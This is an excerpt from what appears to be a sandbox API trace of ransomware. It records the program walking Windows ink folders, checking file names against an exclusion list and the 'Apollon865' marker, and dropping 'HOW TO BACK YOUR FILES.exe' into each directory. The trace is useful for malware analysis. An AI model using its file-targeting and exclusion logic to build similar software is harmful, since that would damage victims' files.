	[0077.105] lstrlenW (lpString=".lnk") returned 4
	[0077.105] lstrcmpiW (lpString1="boxed-split.avi", lpString2=".lnk") returned 1
	[0077.105] lstrlenW (lpString=".ini") returned 4
	[0077.105] lstrcmpiW (lpString1="boxed-split.avi", lpString2=".ini") returned 1
	[0077.105] lstrlenW (lpString=".sys") returned 4
	[0077.105] lstrcmpiW (lpString1="boxed-split.avi", lpString2=".sys") returned 1
	[0077.105] lstrlenW (lpString="boxed-split.avi") returned 15
	[0077.105] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="correct.avi" | out: lpString1="correct.avi") returned="correct.avi"
	[0077.105] lstrlenW (lpString="correct.avi") returned 11
	[0077.105] lstrlenW (lpString="Apollon865") returned 10
	[0077.105] lstrcmpiW (lpString1="orrect.avi", lpString2="Apollon865") returned 1
	[0077.105] lstrlenW (lpString=".dll") returned 4
	[0077.105] lstrcmpiW (lpString1="correct.avi", lpString2=".dll") returned 1
	[0077.105] lstrlenW (lpString=".lnk") returned 4
	[0077.105] lstrcmpiW (lpString1="correct.avi", lpString2=".lnk") returned 1
	[0077.105] lstrlenW (lpString=".ini") returned 4
	[0077.105] lstrcmpiW (lpString1="correct.avi", lpString2=".ini") returned 1
	[0077.105] lstrlenW (lpString=".sys") returned 4
	[0077.105] lstrcmpiW (lpString1="correct.avi", lpString2=".sys") returned 1
	[0077.105] lstrlenW (lpString="correct.avi") returned 11
	[0077.105] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="delete.avi" | out: lpString1="delete.avi") returned="delete.avi"
	[0077.105] lstrlenW (lpString="delete.avi") returned 10
	[0077.105] lstrlenW (lpString="Apollon865") returned 10
	[0077.105] lstrlenW (lpString=".dll") returned 4
	[0077.105] lstrcmpiW (lpString1="delete.avi", lpString2=".dll") returned 1
	[0077.105] lstrlenW (lpString=".lnk") returned 4
	[0077.105] lstrcmpiW (lpString1="delete.avi", lpString2=".lnk") returned 1
	[0077.105] lstrlenW (lpString=".ini") returned 4
	[0077.105] lstrcmpiW (lpString1="delete.avi", lpString2=".ini") returned 1
	[0077.105] lstrlenW (lpString=".sys") returned 4
	[0077.105] lstrcmpiW (lpString1="delete.avi", lpString2=".sys") returned 1
	[0077.106] lstrlenW (lpString="delete.avi") returned 10
	[0077.106] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="FlickLearningWizard.exe.mui" | out: lpString1="FlickLearningWizard.exe.mui") returned="FlickLearningWizard.exe.mui"
	[0077.106] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27
	[0077.106] lstrlenW (lpString="Apollon865") returned 10
	[0077.106] lstrcmpiW (lpString1="rd.exe.mui", lpString2="Apollon865") returned 1
	[0077.106] lstrlenW (lpString=".dll") returned 4
	[0077.106] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2=".dll") returned 1
	[0077.106] lstrlenW (lpString=".lnk") returned 4
	[0077.106] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2=".lnk") returned 1
	[0077.106] lstrlenW (lpString=".ini") returned 4
	[0077.106] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2=".ini") returned 1
	[0077.106] lstrlenW (lpString=".sys") returned 4
	[0077.106] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2=".sys") returned 1
	[0077.106] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27
	[0077.106] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="InkObj.dll.mui" | out: lpString1="InkObj.dll.mui") returned="InkObj.dll.mui"
	[0077.106] lstrlenW (lpString="InkObj.dll.mui") returned 14
	[0077.106] lstrlenW (lpString="Apollon865") returned 10
	[0077.106] lstrcmpiW (lpString1="bj.dll.mui", lpString2="Apollon865") returned 1
	[0077.106] lstrlenW (lpString=".dll") returned 4
	[0077.106] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2=".dll") returned 1
	[0077.106] lstrlenW (lpString=".lnk") returned 4
	[0077.106] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2=".lnk") returned 1
	[0077.106] lstrlenW (lpString=".ini") returned 4
	[0077.106] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2=".ini") returned 1
	[0077.106] lstrlenW (lpString=".sys") returned 4
	[0077.106] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2=".sys") returned 1
	[0077.106] lstrlenW (lpString="InkObj.dll.mui") returned 14
	[0077.106] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="InkWatson.exe.mui" | out: lpString1="InkWatson.exe.mui") returned="InkWatson.exe.mui"
	[0077.106] lstrlenW (lpString="InkWatson.exe.mui") returned 17
	[0077.107] lstrlenW (lpString="Apollon865") returned 10
	[0077.107] lstrcmpiW (lpString1="on.exe.mui", lpString2="Apollon865") returned 1
	[0077.107] lstrlenW (lpString=".dll") returned 4
	[0077.107] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2=".dll") returned 1
	[0077.107] lstrlenW (lpString=".lnk") returned 4
	[0077.107] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2=".lnk") returned 1
	[0077.107] lstrlenW (lpString=".ini") returned 4
	[0077.107] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2=".ini") returned 1
	[0077.107] lstrlenW (lpString=".sys") returned 4
	[0077.107] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2=".sys") returned 1
	[0077.107] lstrlenW (lpString="InkWatson.exe.mui") returned 17
	[0077.107] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="InputPersonalization.exe.mui" | out: lpString1="InputPersonalization.exe.mui") returned="InputPersonalization.exe.mui"
	[0077.107] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28
	[0077.107] lstrlenW (lpString="Apollon865") returned 10
	[0077.107] lstrcmpiW (lpString1="on.exe.mui", lpString2="Apollon865") returned 1
	[0077.107] lstrlenW (lpString=".dll") returned 4
	[0077.107] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2=".dll") returned 1
	[0077.107] lstrlenW (lpString=".lnk") returned 4
	[0077.107] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2=".lnk") returned 1
	[0077.107] lstrlenW (lpString=".ini") returned 4
	[0077.107] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2=".ini") returned 1
	[0077.107] lstrlenW (lpString=".sys") returned 4
	[0077.107] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2=".sys") returned 1
	[0077.107] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28
	[0077.107] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IPSEventLogMsg.dll.mui" | out: lpString1="IPSEventLogMsg.dll.mui") returned="IPSEventLogMsg.dll.mui"
	[0077.107] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22
	[0077.107] lstrlenW (lpString="Apollon865") returned 10
	[0077.107] lstrcmpiW (lpString1="sg.dll.mui", lpString2="Apollon865") returned 1
	[0077.107] lstrlenW (lpString=".dll") returned 4
	[0077.107] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2=".dll") returned 1
	[0077.107] lstrlenW (lpString=".lnk") returned 4
	[0077.107] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2=".lnk") returned 1
	[0077.107] lstrlenW (lpString=".ini") returned 4
	[0077.108] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2=".ini") returned 1
	[0077.108] lstrlenW (lpString=".sys") returned 4
	[0077.108] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2=".sys") returned 1
	[0077.108] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22
	[0077.108] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IpsMigrationPlugin.dll.mui" | out: lpString1="IpsMigrationPlugin.dll.mui") returned="IpsMigrationPlugin.dll.mui"
	[0077.108] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26
	[0077.108] lstrlenW (lpString="Apollon865") returned 10
	[0077.108] lstrcmpiW (lpString1="in.dll.mui", lpString2="Apollon865") returned 1
	[0077.108] lstrlenW (lpString=".dll") returned 4
	[0077.108] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2=".dll") returned 1
	[0077.108] lstrlenW (lpString=".lnk") returned 4
	[0077.108] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2=".lnk") returned 1
	[0077.108] lstrlenW (lpString=".ini") returned 4
	[0077.108] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2=".ini") returned 1
	[0077.108] lstrlenW (lpString=".sys") returned 4
	[0077.108] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2=".sys") returned 1
	[0077.108] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26
	[0077.108] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="join.avi" | out: lpString1="join.avi") returned="join.avi"
	[0077.108] lstrlenW (lpString="join.avi") returned 8
	[0077.108] lstrlenW (lpString="Apollon865") returned 10
	[0077.108] lstrlenW (lpString=".dll") returned 4
	[0077.108] lstrcmpiW (lpString1="join.avi", lpString2=".dll") returned 1
	[0077.108] lstrlenW (lpString=".lnk") returned 4
	[0077.108] lstrcmpiW (lpString1="join.avi", lpString2=".lnk") returned 1
	[0077.108] lstrlenW (lpString=".ini") returned 4
	[0077.108] lstrcmpiW (lpString1="join.avi", lpString2=".ini") returned 1
	[0077.108] lstrlenW (lpString=".sys") returned 4
	[0077.108] lstrcmpiW (lpString1="join.avi", lpString2=".sys") returned 1
	[0077.108] lstrlenW (lpString="join.avi") returned 8
	[0077.108] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="micaut.dll.mui" | out: lpString1="micaut.dll.mui") returned="micaut.dll.mui"
	[0077.109] lstrlenW (lpString="micaut.dll.mui") returned 14
	[0077.109] lstrlenW (lpString="Apollon865") returned 10
	[0077.109] lstrcmpiW (lpString1="ut.dll.mui", lpString2="Apollon865") returned 1
	[0077.109] lstrlenW (lpString=".dll") returned 4
	[0077.109] lstrcmpiW (lpString1="micaut.dll.mui", lpString2=".dll") returned 1
	[0077.109] lstrlenW (lpString=".lnk") returned 4
	[0077.109] lstrcmpiW (lpString1="micaut.dll.mui", lpString2=".lnk") returned 1
	[0077.109] lstrlenW (lpString=".ini") returned 4
	[0077.109] lstrcmpiW (lpString1="micaut.dll.mui", lpString2=".ini") returned 1
	[0077.109] lstrlenW (lpString=".sys") returned 4
	[0077.109] lstrcmpiW (lpString1="micaut.dll.mui", lpString2=".sys") returned 1
	[0077.109] lstrlenW (lpString="micaut.dll.mui") returned 14
	[0077.109] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="mip.exe.mui" | out: lpString1="mip.exe.mui") returned="mip.exe.mui"
	[0077.109] lstrlenW (lpString="mip.exe.mui") returned 11
	[0077.109] lstrlenW (lpString="Apollon865") returned 10
	[0077.109] lstrcmpiW (lpString1="ip.exe.mui", lpString2="Apollon865") returned 1
	[0077.109] lstrlenW (lpString=".dll") returned 4
	[0077.109] lstrcmpiW (lpString1="mip.exe.mui", lpString2=".dll") returned 1
	[0077.109] lstrlenW (lpString=".lnk") returned 4
	[0077.109] lstrcmpiW (lpString1="mip.exe.mui", lpString2=".lnk") returned 1
	[0077.109] lstrlenW (lpString=".ini") returned 4
	[0077.109] lstrcmpiW (lpString1="mip.exe.mui", lpString2=".ini") returned 1
	[0077.109] lstrlenW (lpString=".sys") returned 4
	[0077.109] lstrcmpiW (lpString1="mip.exe.mui", lpString2=".sys") returned 1
	[0077.109] lstrlenW (lpString="mip.exe.mui") returned 11
	[0077.109] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="mshwLatin.dll.mui" | out: lpString1="mshwLatin.dll.mui") returned="mshwLatin.dll.mui"
	[0077.109] lstrlenW (lpString="mshwLatin.dll.mui") returned 17
	[0077.109] lstrlenW (lpString="Apollon865") returned 10
	[0077.109] lstrcmpiW (lpString1="in.dll.mui", lpString2="Apollon865") returned 1
	[0077.109] lstrlenW (lpString=".dll") returned 4
	[0077.109] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2=".dll") returned 1
	[0077.109] lstrlenW (lpString=".lnk") returned 4
	[0077.109] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2=".lnk") returned 1
	[0077.110] lstrlenW (lpString=".ini") returned 4
	[0077.110] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2=".ini") returned 1
	[0077.110] lstrlenW (lpString=".sys") returned 4
	[0077.110] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2=".sys") returned 1
	[0077.110] lstrlenW (lpString="mshwLatin.dll.mui") returned 17
	[0077.110] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="rtscom.dll.mui" | out: lpString1="rtscom.dll.mui") returned="rtscom.dll.mui"
	[0077.110] lstrlenW (lpString="rtscom.dll.mui") returned 14
	[0077.110] lstrlenW (lpString="Apollon865") returned 10
	[0077.110] lstrcmpiW (lpString1="om.dll.mui", lpString2="Apollon865") returned 1
	[0077.110] lstrlenW (lpString=".dll") returned 4
	[0077.110] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2=".dll") returned 1
	[0077.110] lstrlenW (lpString=".lnk") returned 4
	[0077.110] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2=".lnk") returned 1
	[0077.110] lstrlenW (lpString=".ini") returned 4
	[0077.110] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2=".ini") returned 1
	[0077.110] lstrlenW (lpString=".sys") returned 4
	[0077.110] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2=".sys") returned 1
	[0077.110] lstrlenW (lpString="rtscom.dll.mui") returned 14
	[0077.110] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ShapeCollector.exe.mui" | out: lpString1="ShapeCollector.exe.mui") returned="ShapeCollector.exe.mui"
	[0077.110] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22
	[0077.110] lstrlenW (lpString="Apollon865") returned 10
	[0077.110] lstrcmpiW (lpString1="or.exe.mui", lpString2="Apollon865") returned 1
	[0077.110] lstrlenW (lpString=".dll") returned 4
	[0077.110] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2=".dll") returned 1
	[0077.110] lstrlenW (lpString=".lnk") returned 4
	[0077.110] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2=".lnk") returned 1
	[0077.110] lstrlenW (lpString=".ini") returned 4
	[0077.110] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2=".ini") returned 1
	[0077.110] lstrlenW (lpString=".sys") returned 4
	[0077.110] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2=".sys") returned 1
	[0077.110] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22
	[0077.111] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="split.avi" | out: lpString1="split.avi") returned="split.avi"
	[0077.111] lstrlenW (lpString="split.avi") returned 9
	[0077.111] lstrlenW (lpString="Apollon865") returned 10
	[0077.111] lstrlenW (lpString=".dll") returned 4
	[0077.111] lstrcmpiW (lpString1="split.avi", lpString2=".dll") returned 1
	[0077.111] lstrlenW (lpString=".lnk") returned 4
	[0077.111] lstrcmpiW (lpString1="split.avi", lpString2=".lnk") returned 1
	[0077.111] lstrlenW (lpString=".ini") returned 4
	[0077.111] lstrcmpiW (lpString1="split.avi", lpString2=".ini") returned 1
	[0077.111] lstrlenW (lpString=".sys") returned 4
	[0077.111] lstrcmpiW (lpString1="split.avi", lpString2=".sys") returned 1
	[0077.111] lstrlenW (lpString="split.avi") returned 9
	[0077.111] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tabskb.dll.mui" | out: lpString1="tabskb.dll.mui") returned="tabskb.dll.mui"
	[0077.111] lstrlenW (lpString="tabskb.dll.mui") returned 14
	[0077.111] lstrlenW (lpString="Apollon865") returned 10
	[0077.111] lstrcmpiW (lpString1="kb.dll.mui", lpString2="Apollon865") returned 1
	[0077.111] lstrlenW (lpString=".dll") returned 4
	[0077.111] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2=".dll") returned 1
	[0077.111] lstrlenW (lpString=".lnk") returned 4
	[0077.111] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2=".lnk") returned 1
	[0077.111] lstrlenW (lpString=".ini") returned 4
	[0077.111] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2=".ini") returned 1
	[0077.111] lstrlenW (lpString=".sys") returned 4
	[0077.111] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2=".sys") returned 1
	[0077.111] lstrlenW (lpString="tabskb.dll.mui") returned 14
	[0077.112] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="TipBand.dll.mui" | out: lpString1="TipBand.dll.mui") returned="TipBand.dll.mui"
	[0077.112] lstrlenW (lpString="TipBand.dll.mui") returned 15
	[0077.112] lstrlenW (lpString="Apollon865") returned 10
	[0077.112] lstrcmpiW (lpString1="nd.dll.mui", lpString2="Apollon865") returned 1
	[0077.112] lstrlenW (lpString=".dll") returned 4
	[0077.112] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2=".dll") returned 1
	[0077.112] lstrlenW (lpString=".lnk") returned 4
	[0077.112] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2=".lnk") returned 1
	[0077.112] lstrlenW (lpString=".ini") returned 4
	[0077.112] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2=".ini") returned 1
	[0077.113] lstrlenW (lpString=".sys") returned 4
	[0077.113] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2=".sys") returned 1
	[0077.113] lstrlenW (lpString="TipBand.dll.mui") returned 15
	[0077.113] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="TipRes.dll.mui" | out: lpString1="TipRes.dll.mui") returned="TipRes.dll.mui"
	[0077.113] lstrlenW (lpString="TipRes.dll.mui") returned 14
	[0077.113] lstrlenW (lpString="Apollon865") returned 10
	[0077.113] lstrcmpiW (lpString1="es.dll.mui", lpString2="Apollon865") returned 1
	[0077.113] lstrlenW (lpString=".dll") returned 4
	[0077.113] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2=".dll") returned 1
	[0077.113] lstrlenW (lpString=".lnk") returned 4
	[0077.113] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2=".lnk") returned 1
	[0077.113] lstrlenW (lpString=".ini") returned 4
	[0077.113] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2=".ini") returned 1
	[0077.113] lstrlenW (lpString=".sys") returned 4
	[0077.113] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2=".sys") returned 1
	[0077.113] lstrlenW (lpString="TipRes.dll.mui") returned 14
	[0077.113] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.113] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.113] lstrlenW (lpString="Apollon865") returned 10
	[0077.113] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.113] lstrlenW (lpString=".dll") returned 4
	[0077.113] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.113] lstrlenW (lpString=".lnk") returned 4
	[0077.113] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.113] lstrlenW (lpString=".ini") returned 4
	[0077.113] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.113] lstrlenW (lpString=".sys") returned 4
	[0077.113] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.113] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.114] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="TipTsf.dll.mui" | out: lpString1="TipTsf.dll.mui") returned="TipTsf.dll.mui"
	[0077.114] lstrlenW (lpString="TipTsf.dll.mui") returned 14
	[0077.114] lstrlenW (lpString="Apollon865") returned 10
	[0077.114] lstrcmpiW (lpString1="sf.dll.mui", lpString2="Apollon865") returned 1
	[0077.114] lstrlenW (lpString=".dll") returned 4
	[0077.114] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2=".dll") returned 1
	[0077.114] lstrlenW (lpString=".lnk") returned 4
	[0077.114] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2=".lnk") returned 1
	[0077.114] lstrlenW (lpString=".ini") returned 4
	[0077.114] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2=".ini") returned 1
	[0077.114] lstrlenW (lpString=".sys") returned 4
	[0077.114] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2=".sys") returned 1
	[0077.114] lstrlenW (lpString="TipTsf.dll.mui") returned 14
	[0077.114] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR"
	[0077.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591840 | out: hHeap=0x580000) returned 1
	[0077.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0077.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned 56
	[0077.114] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR"
	[0077.114] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.114] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.120] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x460a2090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x460a2090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.120] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.120] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.120] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.120] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x460a2090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x460a2090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.120] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.120] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.120] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.121] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.121] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460a2090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x460a2090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.121] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.121] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.121] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*") returned 58
	[0077.121] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.121] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.121] lstrlenW (lpString="Apollon865") returned 10
	[0077.121] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.121] lstrlenW (lpString=".dll") returned 4
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.121] lstrlenW (lpString=".lnk") returned 4
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.121] lstrlenW (lpString=".ini") returned 4
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.121] lstrlenW (lpString=".sys") returned 4
	[0077.121] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.121] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.122] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE"
	[0077.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5917c0 | out: hHeap=0x580000) returned 1
	[0077.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0077.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE") returned 56
	[0077.122] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE"
	[0077.122] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
